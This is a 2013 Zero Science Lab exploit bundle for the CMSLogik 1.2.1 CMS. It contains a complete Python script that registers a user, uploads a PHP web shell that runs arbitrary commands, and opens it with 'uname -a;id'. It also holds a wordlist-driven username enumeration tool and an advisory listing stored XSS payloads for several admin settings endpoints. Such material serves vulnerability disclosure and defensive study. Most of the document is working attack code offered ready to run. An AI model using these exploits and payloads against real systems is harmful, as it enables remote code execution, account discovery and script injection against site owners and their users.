CMSLogik 1.2.1 – Multiple Vulnerabilities

#!/usr/bin/python
#
# CMSLogik 1.2.1 (upload_file_ajax()) Shell Upload Exploit
#
#
# Vendor: ThemeLogik
# Product web page: http://www.themelogik.com/cmslogik
# Affected version: 1.2.1 and 1.2.0
#
# Summary: CMSLogik is built on a solid & lightweight framework
# called CodeIgniter, and design powered by Bootstrap. This
# combination allows for greater security, extensive flexibility,
# and ease of use. You can use CMSLogik for almost any niche that
# your project might fall into.
#
# Desc: The vulnerability is caused due to the improper verification
# of uploaded files in '/application/controllers/support.php' script
# thru the 'upload_file_ajax()' function. This can be exploited to
# execute arbitrary PHP code by uploading a malicious PHP script file
# with multiple extensions in the '/support_files' directory. Normal
# user [level 113] authentication required.
#
# ======================================================================
# /application/controllers/support.php:
# -------------------------
#
# 143: public function upload_file_ajax()
# 144: {
# 145:    $allowedExtensions = array('jpeg', 'jpg', 'gif', 'png', 'html', 'php', 'js', 'doc', 'docx', 'pdf', 'ppt', 'pps', 'pptx', 'ppsx');
# 146:    $sizeLimit = 10 * 1024;
# 147:    $params = array('extensions' => $allowedExtensions, 'size' => $sizeLimit);
# 148:    $this->load->library('qqfileuploader', $params);
# 149:
# 150:    $result = $this->qqfileuploader->handleUpload('./support_files');
# 151:
# 152:    echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
# 153: }
#
# ======================================================================
#
# Tested on: Apache/2.2.22
#            PHP/5.3.15
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2013-5138
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5138.php
#
#
# 05.04.2013
#

import json, re, sys
import urllib, urllib2, time
import cookielib, webbrowser

if len(sys.argv) < 3:
	print '\n\n\x20-\x20\x20[*] Usage: ' +sys.argv[0]+ ' <target> <path>\n'
	print '\n\x20-\x20\x20[*] Example: ' +sys.argv[0]+ ' example.com cmslogik\n'
	sys.exit(0)
	
host = sys.argv[1]
path = sys.argv[2]

def reguser():
	cj = cookielib.CookieJar()
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
	username = raw_input('[+] Enter username [at least 4 characters]: ')
	chk_usr = urllib.urlencode({'user' : username})
	try:
		xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
		for key, value in xhr.iteritems():
			fnrand = value
			break
		if fnrand == '1':
			print '[!] The user ' +username+ ' is not available.'
			print '[!] Choose a more unique username please.'
			reguser()
	except:
		print '[!] No connection to host'
		sys.exit(0)
	else:
		print '[*] The user \'' +username+ '\' is available.'
		email = raw_input('[+] Choose e-mail [unique@unique.unique]: ')
		password = raw_input('[+] Choose password [at least 6 characters]: ')
		reg_data = urllib.urlencode({'email' : email,
					     'full_name' : 'Patch',
					     'password1' : password,
					     'password2' : password,
					     'r_username' : username,
					     'register' : 'Register!'}
					     )
		auth = opener.open('http://' +host+ '/' +path+ '/register', reg_data)
		match = auth.read()
		if re.search(r"Sorry but that Email is already in use!", match):
			print '[!] The e-mail you have chosen is already taken. Try again.'
			reguser()
		elif re.search(r"You have been registered", match):
			print '[*] OK.'
			loguser()
		else:
			print '[!] Something is fishy.'
			sys.exit(0)
	
def loguser():
	print '\n[*] Login please.'
	username = raw_input('\n[+] Enter your username: ')
	password = raw_input('[+] Enter your password: ')
	cj = cookielib.CookieJar()
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
	login_data = urllib.urlencode({'username' : username,
				       'password' : password,
				       'login' : 'Login',
				       'remember_me' : 'remember'}
				       )
	auth = opener.open('http://' +host+ '/' +path+ '/login', login_data)
	match = auth.read()
	if re.search(r"Error!", match):
		print '\n[!] Not logged in! Try again.'
		loguser()
	else:
		print '\n[*] Successfully logged in!'
		print '[*] Uploading malicious php file...'
		time.sleep(3)
		upload_data = '<?php echo \'<pre>\' + system($_GET[\'cmd\']) + \'</pre>\'; ?>'
		xhr2 = json.load(opener.open('http://' +host+ '/' +path+ '//support/upload_file_ajax?qqfile=liwo_sh.php', upload_data))
		for key, value in xhr2.iteritems():
			filename = value
			break
		print '[*] Your shell ID is: ' + filename + '.php'
		time.sleep(2)
		print '[*] Let me open that for ya...'
		time.sleep(2)
		webbrowser.open('http://' +host+ '/' +path+ '/support_files/' +filename+ '.php?cmd=uname -a;id')
		print '\n[*] Zya!'
		sys.exit(0)

def menu():
	print """
(((((((((((((((((((((((((((((((((((((((((((((((((((
((                                               ((
((	Hello! CMSLogik Shell Upload 0day        ((
((                                               ((
((	1. Register a new User                   ((
((	2. Login with existing User              ((
((                                               ((
(((((((((((((((((((((((((((((((((((((((((((((((((((

	"""
	n = raw_input('Enter choice number: ');
	if n=='1':
		print '\n[*] Welcome to User Registration!'
		reguser()
	elif n=='2':
		loguser()
	else:
		print '\n[?] Just 1 or 2 please...'
		menu()
menu()


###############################################################################


#!/usr/bin/python
#
# CMSLogik 1.2.1 (user param) User Enumeration Weakness
#
#
# Vendor: ThemeLogik
# Product web page: http://www.themelogik.com/cmslogik
# Affected version: 1.2.1 and 1.2.0
#
# Summary: CMSLogik is built on a solid & lightweight framework
# called CodeIgniter, and design powered by Bootstrap. This
# combination allows for greater security, extensive flexibility,
# and ease of use. You can use CMSLogik for almost any niche that
# your project might fall into.
#
# Desc: The weakness is caused due to the 'unique_username_ajax'
# script enumerating the list of valid usernames when some characters
# are provided via the 'user' parameter.
#
# Tested on: Apache/2.2.22
#            PHP/5.3.15
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
#                             @zeroscience
#
#
# Advisory ID: ZSL-2013-5137
# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5137.php
#
#
# 05.04.2013
#

import argparse, sys, json, urllib, urllib2, cookielib
from colorama import Fore, Back, Style, init

init()

print '\n-----------------------------------------------'
print 'User Enumeration Tool v0.1 for CMSLogik 1.2.x'
print 'Copyleft (c) 2013, Zero Science Lab'
print 'by lqwrm'
print '-----------------------------------------------\n'
parser = argparse.ArgumentParser()
parser.add_argument('-t', help='target IP or hostname', action='store', dest='target')
parser.add_argument('-d', help='target dir', action='store', dest='dir')
parser.add_argument('-f', help='username wordlist', action='store', dest='file')
args = parser.parse_args()
if len(sys.argv) != 7:
	parser.print_help()
	print '\n[*] Example: cmslogik_enum.py -t zeroscience.mk -d cmslogik -f users.txt'
	sys.exit()
host = args.target
path = args.dir
fn = args.file
print '\n'
try:
	users = open(args.file, 'r')
except(IOError):
	print '[!] Error opening \'' +fn+ '\' file.'
	sys.exit()
lines = users.read().splitlines()
print '[*] Loaded %d usernames for testing.\n' % len(open(fn).readlines())
users.close()
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
results = open('validusers.txt', 'w')
for line in lines:
	chk_usr = urllib.urlencode({'user' : line})
	try:
		xhr = json.load(opener.open('http://' +host+ '/' +path+ '/main/unique_username_ajax', chk_usr))
	except:
		print '[!] Error connecting to http://' +host+ '/' +path
		sys.exit()
	print '[+] Testing username: ' +Fore.GREEN+line+Fore.RESET
	for key, value in xhr.iteritems():
		fnrand = value
		break
	if fnrand == '1':
		print '[!] Found ' +Style.BRIGHT+Fore.RED+line+Style.RESET_ALL+Fore.RESET+ ' as valid registered user.'
		results.write('%s\n' % line)
results.close()
print '\n[*] Enumeration completed!'
print '[*] Valid usernames successfully written to \'validusers.txt\' file.'


###############################################################################



CMSLogik 1.2.1 Multiple Persistent XSS Vulnerabilities


Vendor: ThemeLogik
Product web page: http://www.themelogik.com/cmslogik
Affected version: 1.2.1 and 1.2.0

Summary: CMSLogik is built on a solid & lightweight framework
called CodeIgniter, and design powered by Bootstrap. This
combination allows for greater security, extensive flexibility,
and ease of use. You can use CMSLogik for almost any niche that
your project might fall into.

Desc: CMSLogik suffers from multiple stored XSS vulnerabilities
when parsing user input to several parameters via POST method.
Attackers can exploit these weaknesses to execute arbitrary HTML
and script code in a user's browser session.

Tested on: Apache/2.2.22
           PHP/5.3.15


Vulnerabilities discovered by Gjoko 'LiquidWorm' Krstic
                              @zeroscience


Advisory ID: ZSL-2013-5136
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5136.php


05.04.2013

--

==============================================================================

POST http://localhost/cmslogik/admin/settings HTTP/1.1

admin_email	"onmouseover=prompt("XSS1")>
default_level	2
default_page	1
default_url	http://themelogik.com/cmslogik/
email_activate	0
header_title	"onmouseover=prompt("XSS2")>
login	1
registration	1
site_title	"onmouseover=prompt("XSS3")>
update_settings	Update Settings
welcome_email	0

==============================================================================

POST http://localhost/cmslogik/admin/captcha_settings HTTP/1.1

captcha_settings	Update
recaptcha_private	"onmouseover=prompt("XSS4")>
recaptcha_public	"onmouseover=prompt("XSS5")>

==============================================================================

POST http://localhost/cmslogik/admin/social_settings HTTP/1.1

fb_appid	"onmouseover=prompt("XSS6")>
fb_secret	"onmouseover=prompt("XSS7")>
social_settings	Update
tw_consumer_key	"onmouseover=prompt("XSS8")>
tw_consumer_secret	"onmouseover=prompt("XSS9")>

==============================================================================

POST http://localhost/cmslogik/admin/gallery/save_item_settings HTTP/1.1

imgid	76
long	test
short	test
slug	"onmouseover=prompt("XSS10")>
status	live
title	test

==============================================================================

POST http://localhost/cmslogik/admin/edit_menu_item_ajax HTTP/1.1

item_link	"onmouseover=prompt("XSS11")>
item_name	test
item_order	0
mid	9

==============================================================================